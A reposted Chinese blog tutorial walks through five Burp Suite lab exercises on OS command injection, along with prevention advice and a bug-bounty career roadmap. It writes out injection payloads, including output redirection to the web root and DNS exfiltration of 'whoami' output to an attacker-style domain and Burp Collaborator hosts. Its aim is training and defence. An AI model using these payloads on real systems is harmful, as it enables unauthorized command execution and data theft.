0


【burpsuite安全练兵场-服务端4】操作系统命令注入-5个实验(全)

前言:

介绍:

博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。

C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。


导读:

面向读者:对于网络安全方面的学者。

本文知识点:

(1)掌握基本命令(√)

(2)掌握BP提供的服务器(√)

(3)掌握拼拼接命令(√)

让读者如虎添翼

服务端专项所需基础知识学习目标状态【0X01】SQL注入-17个实验(全)1、数据库基本语法
1、掌握SQL注入方法

2、掌握不同注入的区别

3、掌握注入的意义,即可以发现的信息
已发布【0X02】身份认证漏洞-16个实验(全)
1、基本信收集

2、爆破工具的使用(如BP)

3、需要一点的逻辑分析能力

1、掌握身份验证的方法

2、掌握对数据包差别的细微分析

3、掌握身份认证的基本逻辑
已发布【0X03】目录遍历漏洞-6个实验(全)1、对于路径的敏感度
1、掌握路径模糊查询(爆破)

2、掌握基本的绕过方法
已发布【0X04】操作系统命令注入-5个实验(全)
1、基本操作系统命令(可慢慢接触后学)

2、带外的平台(可慢慢发现)

3、带外的服务器(实验可使用BP提供的)

1、掌握基本命令

2、掌握BP提供的服务器

3、掌握拼拼接命令
已发布【0X05】业务逻辑漏洞-11个实验(全)
1、需要会基本的BP使用能力(后期可不断提高)

2、基础的数据包分析能力(可不断提升)

1、掌握如何分析业务逻辑

2、掌握业务逻辑的可能缺陷

3、掌握业务逻辑的第三方功能
已发布【0X06】信息泄露漏洞-5个实验(全)
1、需要会一些发现的工具(后期可不断使用新工具)

2、需要会一点Linux基本工具命令

1、掌握BP信息收集的工具的使用方法

2、掌握常见的信息泄露及其获取方法
已发布【0X07】访问控制即将发布,敬请期待————【0X08】文件上传即将发布,敬请期待————【0X09】服务端请求伪造SSRF即将发布,敬请期待————【0X10】XEE注射即将发布,敬请期待————


助你一臂之力

📋问题1:需要准备些什么?

🎯掌握基础的命令,尝试各种拼接(前期的信息收集)

🎯带外工具(dnslog),自己的服务器

一、操作系统命令注入

1、意义

1、简述:操作系统命令注入(也称为外壳注入)是一个Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令

2、危害:通常会完全危害应用程序及其所有数据,攻击者可以利用操作系统命令注入漏洞来危害托管基础架构的其他部分,利用信任关系将攻击转向组织内的其他系统。


2、有用的命令

识别操作系统命令注入漏洞后,执行一些初始命令以获取有关已受损系统的信息
一些在Linux和Windows平台上有用的命令的摘要: 

命令的目的        Linux操作系统   Windows
当前用户的名称   whoami            whoami
操作系统        uname -a        ver
网络配置        ifconfig        ipconfig /all
网络连接        netstat -an        netstat -an
运行进程        ps -ef            tasklist 

3、注入操作系统命令的方式

1、简述:

各种外壳元字符可用于执行操作系统命令注入攻击,许多字符用作命令分隔符,允许将命令链接在一起

1、以下命令分隔符在基于Windows和基于Unix的系统上都有效:
    &
    &&
    |
    ||

2、以下命令分隔符仅适用于基于Unix的系统:
    ;
    换行符(0x0a或\n)

3、在基于Unix的系统上,您还可以使用反勾号或美元字符在原始命令中执行插入命令的内联执行:

    '
    注入命令'
    $(插入命令)

————

2、分析观察

不同的shell元字符具有细微不同的行为,这些行为可能会影响它们在某些情况下是否有效,以及它们是否允许带内检索命令输出,还是只对盲目利用有用

有时,控制的输入出现在原始命令的引号内。在这种情况下,在使用合适的shell元字符插入新命令之前,需要终止加引号的上下文(使用"或')


4、防止操作系统命令注入攻击

防止操作系统命令注入漏洞的最有效方法是永远不要从应用层代码调用操作系统命令(在每种情况下,都有使用更安全的平台API实现所需功能的替代方法)

如果使用用户提供的输入调用OS命令是不可避免的,则必须执行强输入验证:
    1、根据允许值的白名单进行验证。
    2、验证输入是否为数字。
    3、验证输入是否仅包含字母数字字符,而不包含其他语法或空白。
    4、不要试图通过转义shell元字符来清理输入(非常容易出错,且容易被熟练的攻击者绕过)


二、执行任意命令

1、示例:

1、一个购物应用程序:

允许用户查看某个商品在特定商店中是否有库存

可通过以下URL:
https://insecure-website.com/stockStatus?productID=381&storeID=29
2、需查询其他系统:

提供股票信息,应用程序必须查询各种遗留系统。该功能是通过调用shell命令并将产品和商店ID作为参数来实现,如
stockreport.pl 381 29(此命令输出指定项目的库存状态,并返回给用户)

------
攻击者:
如果应用程序未实现针对操作系统命令注入的防御措施,攻击者可以提交以下输入来执行任意命令:
& echo aiwefwlguh &

如果此输入在产品ID参数,则应用程序执行的命令为:
stockreport.pl & echo aiwefwlguh & 29


将附加命令分隔符&放置在插入的命令之后,结合echo命令输出回显,这是测试某些类型的操作系统命令注入的有用方法,降低了阻止执行注入命令的可能性(&字符是shell命令分隔符,因此执行的是三个独立的命令)

返回给用户的输出为:
Error - productID was not provided    (stockreport.pl执行时未使用预期参数,返回错误提示)
aiwefwlguh                (执行注入的echo命令,并输出)
29: command not found     (参数29作为命令执行,导致错误)

涉及实验:
实验1:操作系统命令注入(简单)

实验1:操作系统命令注入(简单)

part1:

使用Burp Suite拦截和修改检查库存水平的请求


part2:

发送到repeater

修改storeID参数(带入一个命令)

1|whoami


part3:

修改数据包,并关闭拦截



三、盲操作系统命令注入漏洞

1、简述

许多操作系统命令注入实例都是隐蔽漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲漏洞仍然可以被利用,但需要不同的技术


2、示例

一个网站允许用户提交有关该网站的反馈。用户输入他们的电子邮件地址和反馈信息,服务器端应用程序向站点管理员生成包含反馈的电子邮件

————

它将调用邮件程序,其中包含提交的详细信息,如:

mail -s "This site is great" -aFrom:[email protected] [email protected]

————

mail命令的输出(如果有的话)不会在应用程序的响应中返回,因此使用echo有效负载不会有效。在这种情况下,可以使用各种其他技术来检测和利用漏洞


3、使用时间延迟检测盲OS命令注入

1、可以使用将触发时间延迟的注入命令,从而根据应用程序响应所需的时间来确认命令是否已执行

————

2、ping命令是一种有效的方法,因为它允许您指定要发送的ICMP数据包的数量,从而指定命令运行所需的时间:

& ping -c 10 127.0.0.1 &

此命令将使应用程序ping其环回网络适配器10秒。

————

涉及实验:
实验2:具有时延的操作系统命令盲注入

实验2:具有时延的操作系统命令盲注入

part1:

填写反馈信息

使用Burp Suite拦截和修改提交反馈的请求


part2:

发送到repeater

修改email参数

email=x||ping+-c+10+127.0.0.1||

观察响应,时间基本上为10s,存在系统命令注入


part3:

修改数据包,并关闭拦截

等10s后刷新一下页面,就完成了


4、通过重定向输出利用盲目操作系统命令注入

1、可以将注入命令的输出重定向到Web根目录中的文件中,然后可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置/var/www/static提供静态资源,则可以提交以下输入:

& whoami > /var/www/static/whoami.txt &
(学过Linux的应该都会这些命令)

2、解释:>字符发送来自whoami命令添加到指定文件(这里是输出到whoami.txt,没有就自动创建)。然后可以使用浏览器获取https://vulnerable-website.com/whoami.txt以检索文件,并查看插入命令的输出。


涉及实验:
实验3:带有输出重定向的盲操作系统命令注入

实验3:带有输出重定向的盲操作系统命令注入

part1:

填写反馈信息

使用Burp Suite拦截和修改提交反馈的请求


part2:

发送到repeater

修改email参数

email=||whoami>/var/www/images/output.txt||

在数据包中修改,并关闭拦截


part3:

通过filename参数文件包含,读取输出到output.txt文件的信息

filename=output.txt

第三个数据包(老演员了)

发送到repeater

在数据包中修改,并关闭拦截

5、利用带外(OAST)技术

1、简述:

可以使用一个注入命令,该命令将触发与您使用OAST技术控制的系统的带外网络交互。例如:

& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用nslookup命令对指定的域进行DNS查找。攻击者可以监视指定查找的发生,从而检测到命令已成功插入。


2、带外通道还提供了一种从注入命令中提取输出的简单方法:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这将导致对攻击者的域进行DNS查找,该域包含whoami命令:

wwwuser.kgji2ohoyw.web-attacker.com

2、涉及实验:
实验4:具有带外交互的盲OS命令注入

实验5:具有带外数据泄漏的盲操作系统命令注入


实验4:具有带外交互的盲OS命令注入

part1:

填写反馈信息

使用Burp Suite拦截和修改提交反馈的请求


part2:

打开BP的Collaborator客户端

复制服务器URL(这个是我的BP的提供的服务器)

4injhpna543tc1766dwv1466ux0noc.burpcollaborator.net


part3:

发送到repeater

修改email参数,将其更改为:

email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
我的是:
email=x||nslookup+4injhpna543tc1766dwv1466ux0noc.burpcollaborator.net||


part4:

修改数据包,并关闭拦截

实验5:具有带外数据泄漏的盲操作系统命令注入

part1:

填写反馈信息

使用Burp Suite拦截和修改提交反馈的请求


part2:

打开BP的Collaborator客户端

复制服务器URL(这个是我的BP的提供的服务器)

fl45n2ug5x4nmill7s67s7u7jypodd.burpcollaborator.net


part3:

发送到repeater

修改email参数,将其更改为:

email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||
我的是:
email=x||nslookup+`whoami`.fl45n2ug5x4nmill7s67s7u7jypodd.burpcollaborator.net||


part4:

修改数据包,并关闭拦截


part5:

完成实验

我的用户peter-WKvUPX



网络安全三年之约

First year

掌握各种原理、不断打新的靶场

目标:edusrc、cnvd

主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/


second year

不断学习、提升技术运用技巧,研究各种新平台

开始建立自己的渗透体系

目标:众测平台、企业src应急响应中心
众测平台URL漏洞盒子漏洞盒子 | 互联网安全测试众测平台火线安全平台火线安全平台漏洞银行BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台360漏洞众包响应平台360漏洞云漏洞众包响应平台补天平台(奇安信)补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC春秋云测首页雷神众测(可信众测,安恒)雷神众测 - BountyTeam云众可信(启明星辰)云众可信 - 互联网安全服务引领者ALLSECALLSEC360众测360众测平台看雪众测(物联网)看雪渗透测试服务CNVD众测平台网络安全众测平台工控互联网安全测试平台CNCERT工业互联网安全测试平台慢雾(区块链)Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone平安汇聚http://isrc.pingan.com/homePage/index互联网大厂URL阿里https://asrc.alibaba.com/#/腾讯https://security.tencent.com/百度https://bsrc.baidu.com/v2/#/home美团https://security.meituan.com/#/home360https://security.360.cn/网易https://aq.163.com/字节跳动https://security.bytedance.com/京东https://security.jd.com/#/新浪http://sec.sina.com.cn/微博https://wsrc.weibo.com/搜狗http://sec.sogou.com/金山办公https://security.wps.cn/有赞https://src.youzan.com/


Third Year

学习最新的知识,建全自己的渗透体系

目标:参与护网(每一个男孩子心中的梦想)

时间:一般5月面试,6/7月开始(持续2-3周)

分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)

标签: 网络 安全 web安全

本文转载自: https://blog.csdn.net/qq_53079406/article/details/128495612
版权归原作者 黑色地带(崛起) 所有, 如有侵权,请联系我们删除。

“【burpsuite安全练兵场-服务端4】操作系统命令注入-5个实验(全)”的评论:

还没有评论